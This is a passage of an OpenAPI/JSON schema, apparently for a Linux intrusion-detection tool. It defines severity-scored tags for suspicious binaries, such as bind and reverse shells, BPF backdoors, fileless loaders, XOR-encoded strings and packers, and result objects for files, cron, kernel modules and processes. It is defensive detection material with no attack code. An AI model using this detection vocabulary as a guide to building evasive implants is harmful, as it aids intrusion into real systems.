type."},"x-enumSeverities":{"executable_linux_dynamic":0,"executable_linux_static":0,"executable_linux_shared_object":0,"executable_linux_unknown":0,"executable_linux":0,"core_dump":5,"relocatable_file":0,"none":0,"executable_windows":5,"compression":0,"filesystem":0,"image":0,"document":0,"package":0,"pcap":5,"privatekey":5,"script":0,"html":0,"xml":0,"link":0,"device":0,"empty":0,"unknown":0}},"Architecture":{"type":"string","title":"Architecture","description":"The processor the binary is built for.","enum":["x86","x86_64","arm","arm64","mips","ppc","ppc64","s390","riscv","loongarch","sparc","sparc64","unknown"],"x-enumDescriptions":{"unknown":"Processor not recognized."}},"ElfType":{"type":"string","title":"ElfType","description":"The kind of ELF file.","anyOf":[{"enum":["none","relocatable","executable","dynamic","core_dump"]},{"pattern":"^unknown \\(\\d+\\)$","description":"An unrecognized ELF file type."}],"x-enumDescriptions":{"none":"No file type recorded.","relocatable":"An object file or kernel module, not run on its own.","executable":"A program that runs at a fixed address.","dynamic":"A program or shared library.","core_dump":"A crash dump of a process."}},"PropertyTag":{"type":"string","title":"PropertyTag","description":"How the binary is built and linked.","enum":["static","dynamic","stripped","debug-info","go-binary","rust-binary","interpreter-runtime"],"x-enumDescriptions":{"static":"Statically linked: self-contained, with no shared libraries to load.","dynamic":"Dynamically linked: loads shared libraries at run time.","stripped":"Stripped of its symbols. Normal for released software.","debug-info":"Carries debug information, usually a development build.","go-binary":"Written in Go.","rust-binary":"Written in Rust.","interpreter-runtime":"Embeds a scripting-language runtime (such as Python)."}},"HardeningTag":{"type":"string","title":"HardeningTag","description":"Exploit-mitigation protection.","enum":["relro-full","pie","nx-stack","stack-canary","fortify-source"],"x-enumDescriptions":{"relro-full":"Full RELRO memory protection.","pie":"Position-independent executable, allowing address randomization.","nx-stack":"Non-executable stack.","stack-canary":"Stack canary protection against buffer overflows.","fortify-source":"FORTIFY_SOURCE buffer checking."}},"CapabilityTag":{"type":"string","title":"CapabilityTag","description":"High-level capabilities the binary can perform that can be either benign or malicious.","enum":["network-server","network-client","network-bidirectional","daemon","packet-capture","bpf-filtering","raw-socket-recv","socket-filtering","name-resolution"],"x-enumDescriptions":{"network-server":"Accepts incoming network connections.","network-client":"Makes outbound network connections.","network-bidirectional":"Both accepts incoming connections and makes outbound ones.","daemon":"Runs in the background, detached from any terminal.","packet-capture":"Reads traffic off the wire, not just its own connections.","bpf-filtering":"Appears to watch network traffic for particular packets.","raw-socket-recv":"Receives data on a network socket. Ordinary in most network software.","socket-filtering":"Sets options on its sockets and receives data on them. Ordinary in most network software.","name-resolution":"Looks up hostnames in DNS."},"x-enumSeverities":{"network-server":0,"network-client":0,"network-bidirectional":0,"daemon":0,"packet-capture":5,"bpf-filtering":5,"raw-socket-recv":2,"socket-filtering":2,"name-resolution":0}},"SuspiciousTag":{"type":"string","title":"SuspiciousTag","description":"Behavior patterns that warrant a closer look. Not on their own a verdict.","enum":["bind-shell-pattern","reverse-shell-pattern","packet-exec-pattern","bpf-backdoor-pattern","pty-exec-pattern","bpf-sniffer-pattern","ptrace-pattern","telecom-protocol","no-observable-code","sstrip-no-observable","no-fileops","tiny-network-binary","ultra-tiny-binary","raw-shellcode","go-obfuscated","go-suspicious-library","dense-network-shell","fileless-network-loader","hardcoded-ip-url","encoded-strings-xor"],"x-enumDescriptions":{"bind-shell-pattern":"Elements of a potential bind shell that waits for an incoming connection and hands the caller a command shell.","reverse-shell-pattern":"Elements of a potential reverse shell that calls out to a remote host and hands it a command shell, needing no open port.","packet-exec-pattern":"Receives network data and can run commands or other programs. A broad pattern; weigh it with the other tags.","bpf-backdoor-pattern":"Elements that capture network traffic, wait for a trigger, and run a shell.","pty-exec-pattern":"Elements that open a terminal to run an interactive shell with hands-on-keyboard access.","bpf-sniffer-pattern":"Appears to watch network traffic for a trigger and act on it.","ptrace-pattern":"Uses process tracing (ptrace) together with packet capture, which can hinder debugging or inspect other processes.","telecom-protocol":"Uses carrier-network signalling (GTP, Diameter, SS7) or SCTP, the transport it runs on. SCTP alone also appears in some ordinary network tools.","no-observable-code":"No readable code. The program is heavily stripped or obfuscated so the real behavior is hidden.","sstrip-no-observable":"A heavily stripped binary that can make static analysis more difficult and hide behavior.","no-fileops":"A bind or reverse shell with none of the file activity of a real service, indicating it may be a backdoor and not a legitimate server.","tiny-network-binary":"A very small program whose only real capability is network access and nothing else.","ultra-tiny-binary":"An extremely small self-contained binary, far below the size of a normally compiled program. Commonly a bindshell implant.","raw-shellcode":"A bare ELF wrapping raw shellcode, often a backdoor dropper.","go-obfuscated":"A Go program with its names garbled to defeat inspection and analysis.","go-suspicious-library":"Built with third-party Go code associated with malware.","dense-network-shell":"Built almost entirely to open a network connection and run a shell with no other function.","fileless-network-loader":"Built mainly to fetch a program over the network and run it from memory without writing it to disk.","hardcoded-ip-url":"A URL aimed at a bare IP address rather than a hostname to avoid using network resolvers.","encoded-strings-xor":"Hides several known strings, such as file paths, web requests or shell commands, behind a simple XOR key so that string scans cannot read them."},"x-enumSeverities":{"bind-shell-pattern":2,"reverse-shell-pattern":2,"packet-exec-pattern":2,"bpf-backdoor-pattern":5,"pty-exec-pattern":3,"bpf-sniffer-pattern":5,"ptrace-pattern":2,"telecom-protocol":3,"no-observable-code":4,"sstrip-no-observable":4,"no-fileops":5,"tiny-network-binary":5,"ultra-tiny-binary":5,"raw-shellcode":5,"go-obfuscated":5,"go-suspicious-library":5,"dense-network-shell":5,"fileless-network-loader":4,"hardcoded-ip-url":3,"encoded-strings-xor":5}},"AnomalyTag":{"type":"string","title":"AnomalyTag","description":"Binary anomalies and features.","enum":["appended-data","no-build-id","no-compiler-info","no-section-headers","entry-point-outside-text","no-interpreter","no-nx","no-relro","no-symbols","packed","packed-upx","packed-vmprotect","packed-themida","packed-petite","packed-aspack","packed-nsp","packed-mpress","packed-perplex","packed-unknown","oversized-section","encrypted-section","encrypted-overlay","section-headers-removed","high-entropy","writable-executable-segment","corrupted-headers"],"x-enumDescriptions":{"appended-data":"Extra data is attached past the end of the program itself.","no-build-id":"No build identifier is present.","no-compiler-info":"No compiler version string is present.","no-section-headers":"The file has no sections at all.","entry-point-outside-text":"Execution begins outside the normal code section.","no-interpreter":"A dynamically linked program that names no loader.","no-nx":"The stack is executable.","no-relro":"No RELRO protection.","no-symbols":"The file contains no symbols at all.","packed":"Compressed or packed, hiding the program's contents from inspection.","packed-upx":"Packed with UPX, hiding the program's contents from inspection.","packed-vmprotect":"Packed with VMProtect, hiding the program's contents from inspection.","packed-themida":"Packed with Themida, hiding the program's contents from inspection.","packed-petite":"Packed with Petite, hiding the program's contents from inspection.","packed-aspack":"Packed with ASPack, hiding the program's contents from inspection.","packed-nsp":"Packed with NsPack, hiding the program's contents from inspection.","packed-mpress":"Packed with MPRESS, hiding the program's contents from inspection.","packed-perplex":"Packed with PerpleX, hiding the program's contents from inspection.","packed-unknown":"Packed with an unrecognized or custom packer, hiding the program's contents from inspection.","oversized-section":"Contains an unusually large block of embedded data.","encrypted-section":"A large section whose contents look encrypted or compressed, hiding the program's contents from inspection.","encrypted-overlay":"Carries an encrypted or compressed payload appended to the file, hiding the program's contents from inspection.","section-headers-removed":"The section table has been stripped, leaving the code readable but removing the map to it.","high-entropy":"The file is compressed, encrypted or packed, hiding the program's contents from inspection.","writable-executable-segment":"Memory that is both writable and executable, so the program can rewrite its own code.","corrupted-headers":"The file's internal structure is damaged or deliberately malformed."},"x-enumSeverities":{"appended-data":0,"no-build-id":0,"no-compiler-info":0,"no-section-headers":0,"entry-point-outside-text":0,"no-interpreter":0,"no-nx":0,"no-relro":0,"no-symbols":0,"packed":5,"packed-upx":5,"packed-vmprotect":5,"packed-themida":5,"packed-petite":5,"packed-aspack":5,"packed-nsp":5,"packed-mpress":5,"packed-perplex":5,"packed-unknown":5,"oversized-section":0,"encrypted-section":5,"encrypted-overlay":5,"section-headers-removed":2,"high-entropy":5,"writable-executable-segment":5,"corrupted-headers":5}},"ConfirmedTag":{"type":"string","title":"ConfirmedTag","description":"Specific network and execution behaviors identified in the program.","enum":["socket-tcp","socket-udp","socket-icmp","socket-sctp","socket-raw","socket-packet-sniffer","socket-unknown-protocol","socket-bpf-filter","socket-ebpf-filter","socket-raw-ip","exec-shell"],"x-enumDescriptions":{"socket-tcp":"Uses Transmission Control Protocol (TCP).","socket-udp":"Uses User Datagram Protocol (UDP).","socket-icmp":"Uses Internet Control Message Protocol (ICMP).","socket-sctp":"Uses Stream Control Transmission Protocol (SCTP), the transport of carrier signalling networks. Uncommon, though some ordinary network tools support it.","socket-raw":"Uses a raw Internet Protocol (IP) socket to craft its own packets.","socket-packet-sniffer":"Sniffs raw network traffic.","socket-unknown-protocol":"Uses an unrecognized protocol.","socket-bpf-filter":"Attaches a BPF packet filter to a socket to selectively grab network traffic.","socket-ebpf-filter":"Attaches an eBPF program to a socket for observability or network filtering.","socket-raw-ip":"Builds its own IP headers, which allows spoofed network packets.","exec-shell":"Runs a command shell."},"x-enumSeverities":{"socket-tcp":0,"socket-udp":0,"socket-icmp":2,"socket-sctp":4,"socket-raw":5,"socket-packet-sniffer":5,"socket-unknown-protocol":3,"socket-bpf-filter":5,"socket-ebpf-filter":3,"socket-raw-ip":5,"exec-shell":3}},"BinaryCounts":{"type":"object","title":"BinaryCounts","description":"How many symbols, system calls and libraries the program carries.","required":["imported_symbols","static_symbols","exported_symbols","syscalls","imported_libs"],"properties":{"imported_symbols":{"type":"integer","minimum":0,"description":"Number of symbols the program takes from shared libraries."},"static_symbols":{"type":"integer","minimum":0,"description":"Number of internal symbols left in the file."},"exported_symbols":{"type":"integer","minimum":0,"description":"Number of symbols the program makes available to others."},"syscalls":{"type":"integer","minimum":0,"description":"Number of distinct system calls the program uses."},"imported_libs":{"type":"integer","minimum":0,"description":"Number of shared libraries the program depends on."}}},"BinaryIOCs":{"type":"object","title":"BinaryIOCs","description":"Network and file indicators found in the program.","properties":{"ips":{"type":"array","description":"IP addresses hardcoded in the program.","items":{"type":"string"},"maxItems":128},"urls":{"type":"array","description":"Web addresses hardcoded in the program.","items":{"type":"string"},"maxItems":128},"paths":{"type":"array","description":"File paths found in the program.","items":{"type":"string"},"maxItems":128}}},"BinaryOverlay":{"type":"object","title":"BinaryOverlay","description":"Data attached beyond the end of the program itself.","required":["size","ratio","entropy","content_type"],"properties":{"size":{"type":"integer","format":"int64","minimum":0,"description":"Size of the appended data in bytes."},"ratio":{"type":"number","format":"double","minimum":0,"maximum":1,"description":"Fraction of the file made up of appended data, from 0 to 1."},"entropy":{"type":"number","format":"double","minimum":0,"maximum":8,"description":"Entropy of the appended data. High values over 7.0 mean it is compressed or encrypted."},"content_type":{"type":"string","description":"The kind of appended data, such as a compressed archive or encrypted content.","example":"encrypted/compressed"}}},"ScorePath":{"type":"string","title":"ScorePath","description":"How the threat rating was arrived at.","enum":["blend","gbdt-uncorroborated","corrupted-lr-only","non-network-unscored","undecoded-unscored"],"x-enumDescriptions":{"blend":"Rated normally by scoring ensemble.","gbdt-uncorroborated":"GBDT score is high, but cannot be confirmed by Logistic Regression. Not a verdict of safe.","corrupted-lr-only":"The file's structure is damaged and cannot be scored. Not a verdict of safe.","non-network-unscored":"Unscored as no network capability was detected in this program. Not a verdict of safe.","undecoded-unscored":"Unscored as the program's system calls could not be decoded (an unsupported CPU or an unusual build). Not a verdict of safe."}},"Analysis":{"type":"object","title":"Analysis","description":"The deep-analysis blocks a file can carry. Each member is produced by its own analyzer and is present only when that analyzer ran against the file.","properties":{"binary":{"$ref":"#/components/schemas/BinaryAnalysis","title":"Analysis.binary"}}},"file":{"type":"object","required":["date","mode","nlink","uid","username","gid","groupname","size","size_mismatch","path","path_root","name","flags_list","entropy","hash","magic_num","container","mount"],"properties":{"date":{"type":"object","description":"File timestamps from stat(2)","required":["created","created_minutes","modified","modified_minutes","accessed","accessed_minutes"],"properties":{"created":{"type":"string","description":"File creation time (ctime) as formatted string"},"created_minutes":{"type":"integer","description":"Minutes since file creation"},"modified":{"type":"string","description":"File modification time (mtime) as formatted string"},"modified_minutes":{"type":"integer","description":"Minutes since file modification"},"accessed":{"type":"string","description":"File access time (atime) as formatted string"},"accessed_minutes":{"type":"integer","description":"Minutes since file access"}}},"mode":{"type":"string","description":"File permission mode as octal string (e.g. 0755)"},"nlink":{"type":"integer","description":"Number of hard links to the file from stat(2)"},"uid":{"type":"integer","description":"Numeric user ID of file owner"},"username":{"type":"string","description":"Username of file owner"},"gid":{"type":"integer","description":"Numeric group ID of file owner"},"groupname":{"type":"string","description":"Group name of file owner"},"selinux_context":{"type":"string","description":"SELinux security context label of the file"},"capabilities":{"type":"object","description":"libcap capabilties stored in the file's security.capability xattr.","properties":{"permitted":{"description":"Decoded list of permitted capabilities","type":"array","items":{"$ref":"#/components/schemas/LinuxCapability"}},"inheritable":{"description":"Decoded list of inheritable capabilities","type":"array","items":{"$ref":"#/components/schemas/LinuxCapability"}},"effective":{"description":"Decoded list of effective capabilities","type":"array","items":{"$ref":"#/components/schemas/LinuxCapability"}}}},"size":{"type":"integer","description":"File size in bytes from stat(2)"},"size_byte_count":{"type":"integer","description":"Actual byte count read from the file"},"size_byte_count_status":{"type":"string","description":"Explanation of why the raw byte count could not be calculated (e.g. not a regular file). Only present when the count failed."},"size_mismatch":{"type":"boolean","description":"True if stat size differs from actual bytes read (possible tampering or race)"},"path":{"type":"string","description":"Full filesystem path to the file"},"path_root":{"type":"string","description":"Root path prefix (e.g. container overlay root or chroot path)"},"path_link":{"type":"string","description":"Symlink target path if the file is a symbolic link"},"true_path":{"type":"string","description":"Resolved absolute path after following symlinks"},"name":{"type":"string","description":"Base filename without directory path"},"extension":{"type":"string","description":"File extension (e.g. .so, .sh, .conf)"},"flags_list":{"type":"array","items":{"$ref":"#/components/schemas/FileFlag"}},"entropy":{"type":"number","description":"Shannon entropy of file contents (0.0-8.0 bits per byte). High values suggest encryption or compression."},"hash":{"type":"object","description":"Cryptographic hashes of the file contents","required":["md5","sha1","sha256","sha512"],"properties":{"md5":{"type":"string","description":"MD5 hash (hex-encoded)"},"sha1":{"type":"string","description":"SHA-1 hash (hex-encoded)"},"sha256":{"type":"string","description":"SHA-256 hash (hex-encoded)"},"sha512":{"type":"string","description":"SHA-512 hash (hex-encoded)"}}},"magic_num":{"type":"object","description":"File type identification from magic number (first bytes of file)","required":["hex","text","type","class","expected_extensions"],"properties":{"hex":{"type":"string","description":"Raw magic bytes as hex string"},"text":{"type":"string","description":"Magic bytes as printable text"},"type":{"type":"string","description":"Detected file type (e.g. elf, script, gzip). An open vocabulary: an unencrypted private key reports \"<key type>-unencrypted\"."},"class":{"$ref":"#/components/schemas/MagicClass"},"public_key":{"type":"string","description":"If the file is an unencrypted private key, the corresponding public key value. Absent if not computable."},"expected_extensions":{"type":"array","description":"File extensions normally associated with this file type","items":{"type":"string"}}}},"data":{"type":"array","nullable":true,"items":{"type":"string"},"description":"Extracted file content lines for small or text-based files (e.g. scripts, configs). Null for binary files."},"container":{"type":"object","description":"Container information if the file resides inside a container","properties":{"id":{"type":"string","description":"Full container ID"},"id_short":{"type":"string","description":"Short (12-character) container ID"},"rootdir":{"type":"string","description":"Container root filesystem path on the host"}},"required":["id","id_short","rootdir"]},"mount":{"type":"object","description":"Mount point information for the filesystem containing this file","required":["mountpoint","device","fs_type"],"properties":{"mountpoint":{"type":"string","description":"Mount point path"},"device":{"type":"string","description":"Block device or source"},"fs_type":{"type":"string","description":"Filesystem type (e.g. ext4, xfs, overlay)"}}},"analysis":{"$ref":"#/components/schemas/Analysis","title":"File.analysis"}}},"AtJobEngineResponse":{"title":"ResultAtJob","type":"object","properties":{"file":{"allOf":[{"$ref":"#/components/schemas/file"}],"description":"The at job spool file."},"atjob":{"type":"object","required":["name","path","queue","number","date","username","command"],"properties":{"name":{"type":"string"},"path":{"type":"string"},"queue":{"type":"string"},"number":{"type":"string"},"date":{"required":["created","created_minutes","execution"],"type":"object","properties":{"created":{"type":"string","format":"date-time"},"created_minutes":{"type":"integer"},"execution":{"type":"string","format":"date-time"}}},"username":{"type":"string"},"command":{"type":"array","items":{"type":"string"}}}}},"required":["atjob","file"]},"DirectoryFlag":{"type":"string","title":"DirectoryFlag","description":"Attributes of a directory.","enum":["link","sticky","hidden","deleted","containerized"],"x-enumDescriptions":{"link":"The entry is a symbolic link.","sticky":"The sticky bit is set: only an entry's owner may delete or rename it.","hidden":"The directory is concealed from normal listings.","deleted":"The directory has been deleted but is still open or referenced.","containerized":"The directory lives inside a container."},"x-enumSeverities":{"link":0,"sticky":0,"hidden":5,"deleted":4,"containerized":0}},"DirEngineResponse":{"type":"object","required":["directory"],"properties":{"directory":{"type":"object","required":["path","path_root","name","date","nlink","count","count_mismatch","mode","uid","username","gid","groupname","size","flags_list","container","mount"],"properties":{"path":{"type":"string"},"path_root":{"type":"string"},"path_link":{"type":"string"},"true_path":{"type":"string"},"name":{"type":"string"},"extension":{"type":"string"},"date":{"type":"object","required":["created","created_minutes","modified","modified_minutes","accessed","accessed_minutes"],"properties":{"created":{"type":"string"},"created_minutes":{"type":"integer"},"modified":{"type":"string"},"modified_minutes":{"type":"integer"},"accessed":{"type":"string"},"accessed_minutes":{"type":"integer"}}},"nlink":{"type":"integer"},"count":{"type":"integer"},"count_mismatch":{"type":"boolean"},"mode":{"type":"string"},"uid":{"type":"integer"},"username":{"type":"string"},"gid":{"type":"integer"},"groupname":{"type":"string"},"size":{"type":"integer"},"selinux_context":{"type":"string"},"flags_list":{"type":"array","items":{"$ref":"#/components/schemas/DirectoryFlag"}},"container":{"type":"object","properties":{"id":{"type":"string"},"id_short":{"type":"string"},"rootdir":{"type":"string"}},"required":["id","id_short","rootdir"]},"mount":{"type":"object","required":["mountpoint","device","fs_type"],"properties":{"mountpoint":{"type":"string"},"device":{"type":"string"},"fs_type":{"type":"string"}}}}}}},"FileEngineResponse":{"type":"object","required":["file"],"properties":{"file":{"type":"object","required":["date","mode","nlink","uid","username","gid","groupname","size","size_mismatch","path","path_root","name","flags_list","entropy","hash","magic_num","container","mount"],"properties":{"date":{"type":"object","description":"File timestamps from stat(2)","required":["created","created_minutes","modified","modified_minutes","accessed","accessed_minutes"],"properties":{"created":{"type":"string","description":"File creation time (ctime) as formatted string"},"created_minutes":{"type":"integer","description":"Minutes since file creation"},"modified":{"type":"string","description":"File modification time (mtime) as formatted string"},"modified_minutes":{"type":"integer","description":"Minutes since file modification"},"accessed":{"type":"string","description":"File access time (atime) as formatted string"},"accessed_minutes":{"type":"integer","description":"Minutes since file access"}}},"mode":{"type":"string","description":"File permission mode as octal string (e.g. 0755)"},"nlink":{"type":"integer","description":"Number of hard links to the file from stat(2)"},"uid":{"type":"integer","description":"Numeric user ID of file owner"},"username":{"type":"string","description":"Username of file owner"},"gid":{"type":"integer","description":"Numeric group ID of file owner"},"groupname":{"type":"string","description":"Group name of file owner"},"selinux_context":{"type":"string","description":"SELinux security context label of the file"},"capabilities":{"type":"object","description":"libcap capabilties stored in the file's security.capability xattr.","properties":{"permitted":{"description":"Decoded list of permitted capabilities","type":"array","items":{"$ref":"#/components/schemas/LinuxCapability"}},"inheritable":{"description":"Decoded list of inheritable capabilities","type":"array","items":{"$ref":"#/components/schemas/LinuxCapability"}},"effective":{"description":"Decoded list of effective capabilities","type":"array","items":{"$ref":"#/components/schemas/LinuxCapability"}}}},"size":{"type":"integer","description":"File size in bytes from stat(2)"},"size_byte_count":{"type":"integer","description":"Actual byte count read from the file"},"size_byte_count_status":{"type":"string","description":"Explanation of why the raw byte count could not be calculated (e.g. not a regular file). Only present when the count failed."},"size_mismatch":{"type":"boolean","description":"True if stat size differs from actual bytes read (possible tampering or race)"},"path":{"type":"string","description":"Full filesystem path to the file"},"path_root":{"type":"string","description":"Root path prefix (e.g. container overlay root or chroot path)"},"path_link":{"type":"string","description":"Symlink target path if the file is a symbolic link"},"true_path":{"type":"string","description":"Resolved absolute path after following symlinks"},"name":{"type":"string","description":"Base filename without directory path"},"extension":{"type":"string","description":"File extension (e.g. .so, .sh, .conf)"},"flags_list":{"type":"array","items":{"$ref":"#/components/schemas/FileFlag"}},"entropy":{"type":"number","description":"Shannon entropy of file contents (0.0-8.0 bits per byte). High values suggest encryption or compression."},"hash":{"type":"object","description":"Cryptographic hashes of the file contents","required":["md5","sha1","sha256","sha512"],"properties":{"md5":{"type":"string","description":"MD5 hash (hex-encoded)"},"sha1":{"type":"string","description":"SHA-1 hash (hex-encoded)"},"sha256":{"type":"string","description":"SHA-256 hash (hex-encoded)"},"sha512":{"type":"string","description":"SHA-512 hash (hex-encoded)"}}},"magic_num":{"type":"object","description":"File type identification from magic number (first bytes of file)","required":["hex","text","type","class","expected_extensions"],"properties":{"hex":{"type":"string","description":"Raw magic bytes as hex string"},"text":{"type":"string","description":"Magic bytes as printable text"},"type":{"type":"string","description":"Detected file type (e.g. elf, script, gzip). An open vocabulary: an unencrypted private key reports \"<key type>-unencrypted\"."},"class":{"$ref":"#/components/schemas/MagicClass"},"public_key":{"type":"string","description":"If the file is an unencrypted private key, the corresponding public key value. Absent if not computable."},"expected_extensions":{"type":"array","description":"File extensions normally associated with this file type","items":{"type":"string"}}}},"data":{"type":"array","nullable":true,"items":{"type":"string"},"description":"Extracted file content lines for small or text-based files (e.g. scripts, configs). Null for binary files."},"container":{"type":"object","description":"Container information if the file resides inside a container","properties":{"id":{"type":"string","description":"Full container ID"},"id_short":{"type":"string","description":"Short (12-character) container ID"},"rootdir":{"type":"string","description":"Container root filesystem path on the host"}},"required":["id","id_short","rootdir"]},"mount":{"type":"object","description":"Mount point information for the filesystem containing this file","required":["mountpoint","device","fs_type"],"properties":{"mountpoint":{"type":"string","description":"Mount point path"},"device":{"type":"string","description":"Block device or source"},"fs_type":{"type":"string","description":"Filesystem type (e.g. ext4, xfs, overlay)"}}},"analysis":{"$ref":"#/components/schemas/Analysis","title":"File.analysis"}}}}},"CloakedDirentryEngineResponse":{"type":"object","allOf":[{"$ref":"#/components/schemas/DirEngineResponse"},{"$ref":"#/components/schemas/FileEngineResponse"}]},"CronEngineResponse":{"type":"object","required":["file","cron"],"properties":{"file":{"allOf":[{"$ref":"#/components/schemas/file"}],"description":"The crontab file the entry came from."},"cron":{"type":"object","required":["time_macro","minute","hour","day","month","day_of_week","username","command","path","entry"],"properties":{"time_macro":{"type":"string","description":"The @-prefixed time macro from the crontab entry (e.g. @reboot, @daily). Empty when the entry uses explicit time fields."},"minute":{"type":"string"},"hour":{"type":"string"},"day":{"type":"string"},"month":{"type":"string"},"day_of_week":{"type":"string"},"username":{"type":"string"},"command":{"type":"string"},"path":{"type":"string"},"entry":{"type":"string"},"non_utf8_data":{"type":"boolean","description":"Indicates that this is a dummy placeholder entry from a crontab file that has a text string which is not valid UTF-8 encoded text. This property will only be present if true."}}}}},"ErrorEngineResponse":{"type":"object","required":["error"],"properties":{"error":{"type":"object","description":"What went wrong on an artifact a sandfly reported an error on. On an error artifact with no other data, this is the whole artifact: a sandfly that failed or timed out before matching anything, or a scan that could not run on the host. On a file, process or other artifact that a sandfly failed on after matching it, it sits beside that artifact's data, and is removed once the sandfly no longer reports the error. Where several sandflies reported an error on one artifact, this is the first one's; each sandfly's own is on its result.","required":["message"],"properties":{"message":{"type":"string","description":"What went wrong, as reported by the sandfly, the agent, or the scanning node: the error result's explanation for an error artifact with no other data, and its status message for an artifact with data of its own."}}}}},"KmodulesEngineResponse":{"description":"A kmodule engine result carries exactly one of kernel_module or kernel_taint. Most kmodule sandflies report a loaded kernel module in kernel_module; a sandfly that checks the kernel's tainted state against the loaded modules instead reports, in kernel_taint, a taint flag that no loaded module accounts for.","oneOf":[{"type":"object","description":"A kmodule engine result about one loaded kernel module.","required":["kernel_module"],"properties":{"kernel_module":{"type":"object","description":"The loaded kernel module this result is about.","required":["name","memory_size","instance_count","state","memory_offset","taints","taints_list","kernel_taint_missing","hidden","vmalloc_artifact","missing_file","dependencies","module_file_path","file"],"properties":{"name":{"type":"string"},"memory_size":{"type":"integer"},"instance_count":{"type":"integer"},"state":{"type":"string"},"memory_offset":{"type":"string"},"taints":{"type":"array","items":{"type":"object","properties":{"taint":{"type":"string","description":"A single kernel taint letter from /proc/modules. Recognized letters are those of KernelTaintLetter; a distribution-specific letter is reported as-is with taint_reason \"(unknown)\"."},"taint_reason":{"type":"string","description":"The kernel's reason for the taint, or \"(unknown)\" for an unrecognized letter."}}}},"taints_list":{"type":"string"},"kernel_taint_missing":{"type":"boolean"},"hidden":{"type":"boolean"},"vmalloc_artifact":{"type":"boolean","description":"Indicates that this kernel module is a name that we saw in /proc/vmallocinfo but we don't see the module name in the loaded modules list."},"missing_file":{"type":"boolean"},"dependencies":{"type":"array","items":{"type":"string"}},"module_file_path":{"type":"string"},"file":{"allOf":[{"$ref":"#/components/schemas/file"}],"description":"On-disk attributes of the kernel module file, in the same shape as the file engine's file object."}}}}},{"type":"object","description":"A kmodule engine result about a kernel taint flag that no loaded module accounts for.","required":["kernel_taint"],"properties":{"kernel_taint":{"type":"object","description":"A taint flag set in /proc/sys/kernel/tainted that no currently loaded module accounts for.","required":["taint","taint_reason"],"properties":{"taint":{"$ref":"#/components/schemas/KernelTaintLetter"},"taint_reason":{"type":"string","description":"The kernel's reason for the taint."}}}}}]},"LastlogEngineResponse":{"type":"object","required":["log"],"properties":{"log":{"type":"object","required":["lastlog"],"properties":{"lastlog":{"type":"object","required":["username","uid","date","terminal","hostname"],"properties":{"username":{"type":"string"},"uid":{"type":"integer"},"date":{"type":"object","required":["created","created_minutes"],"properties":{"created":{"type":"string"},"created_minutes":{"type":"integer"}}},"terminal":{"type":"string"},"hostname":{"type":"string"}}}}}}},"ProcessFlag":{"type":"string","title":"ProcessFlag","description":"Attributes of a running process.","enum":["deleted","marked_deleted","immutable","containerized","hidden"],"x-enumDescriptions":{"deleted":"The executable no longer exists on disk: a fileless or self-deleting program.","marked_deleted":"The kernel reports the executable path with a \"(deleted)\" suffix.","immutable":"The executable carries the immutable attribute (chattr +i).","containerized":"The process runs inside a container.","hidden":"The process is not visible to normal process listing: a sign of rootkit concealment."},"x-enumSeverities":{"deleted":5,"marked_deleted":5,"immutable":5,"containerized":0,"hidden":5}},"process":{"type":"object","required":["name","extension","cmdline","command","date","pid","ppid","pgid","uid","username","gid","groupname","path","true_path","cwd","entropy","state","system_uptime","selinux_context","flags_list","file_descriptors","environ","stack","cgroup","status"],"properties":{"name":{"type":"string"},"extension":{"type":"string"},"cmdline":{"type":"string"},"cmdargs":{"type":"array","items":{"type":"string"}},"command":{"type":"string"},"date":{"type":"object","properties":{"created":{"type":"string","format":"date-time"},"created_minutes":{"type":"integer"}},"required":["created","created_minutes"]},"pid":{"type":"integer"},"ppid":{"type":"integer"},"pgid":{"type":"integer"},"uid":{"type":"integer"},"username":{"type":"string"},"gid":{"type":"integer"},"groupname":{"type":"string"},"login_uid":{"type":"integer"},"login_uid_username":{"type":"string"},"session_id":{"type":"integer"},"path":{"type":"string"},"true_path":{"type":"string"},"cwd":{"type":"string"},"entropy":{"type":"number"},"state":{"type":"string","description":"Process state as the single letter from /proc/PID/stat: R running, S sleeping, D uninterruptible sleep, Z zombie, T stopped, t tracing stop, X or x dead, I idle, K wakekill, W waking, P parked. Reported verbatim from the kernel, so other letters are possible."},"system_uptime":{"type":"string","format":"date-time"},"selinux_context":{"type":"string"},"flags_list":{"type":"array","items":{"$ref":"#/components/schemas/ProcessFlag"}},"file_descriptors":{"type":"array","items":{"type":"object","properties":{"number":{"type":"integer"},"path":{"type":"string"},"type":{"type":"string"},"class":{"type":"string"},"class_data_socket_packet":{"type":"object","properties":{"type":{"type":"integer"},"type_text":{"type":"string"},"protocol":{"type":"string"},"protocol_text":{"type":"string"},"uid":{"type":"integer"},"interface":{"type":"integer"}}},"class_data_socket_unix":{"type":"object","properties":{"type":{"type":"integer"},"type_text":{"type":"string"},"protocol":{"type":"string"},"protocol_text":{"type":"string"},"state":{"type":"integer"},"state_text":{"type":"string"},"path":{"type":"string"},"abstract":{"type":"boolean"}}},"hidden":{"type":"boolean"},"selinux_context":{"type":"string","description":"SELinux security context label of the file descriptor target"}},"required":["number","path","type","class","hidden","selinux_context"]}},"environ":{"type":"array","items":{"type":"string"}},"stack":{"type":"array","items":{"type":"string"}},"cgroup":{"type":"array","items":{"type":"object","properties":{"hierarchy_id":{"type":"string"},"controller_list":{"type":"string"},"path":{"type":"string"}},"required":["hierarchy_id","controller_list","path"]}},"container":{"type":"object","description":"Container the process is running in. Omitted for a process that is not containerized.","properties":{"id":{"type":"string"},"id_short":{"type":"string"},"rootdir":{"type":"string"}},"required":["id","id_short","rootdir"]},"network_ports":{"type":"object","description":"Network ports the process has open. Only protocols with activity are included, and the block is omitted entirely for a process with no network activity."},"hash":{"type":"object","description":"Hashes of the running process binary. Omitted when the binary could not be hashed, such as for a kernel thread.","properties":{"md5":{"type":"string"},"sha1":{"type":"string"},"sha256":{"type":"string"},"sha512":{"type":"string"}}},"file":{"allOf":[{"$ref":"#/components/schemas/file"}],"description":"On-disk attributes of the process binary, in the same shape as the file engine's file object. Omitted when there is no binary to analyze, such as for a kernel thread."},"parent_process":{"allOf":[{"$ref":"#/components/schemas/process"}],"description":"The parent of this process, in the same shape as the process object itself. Omitted when the parent could not be 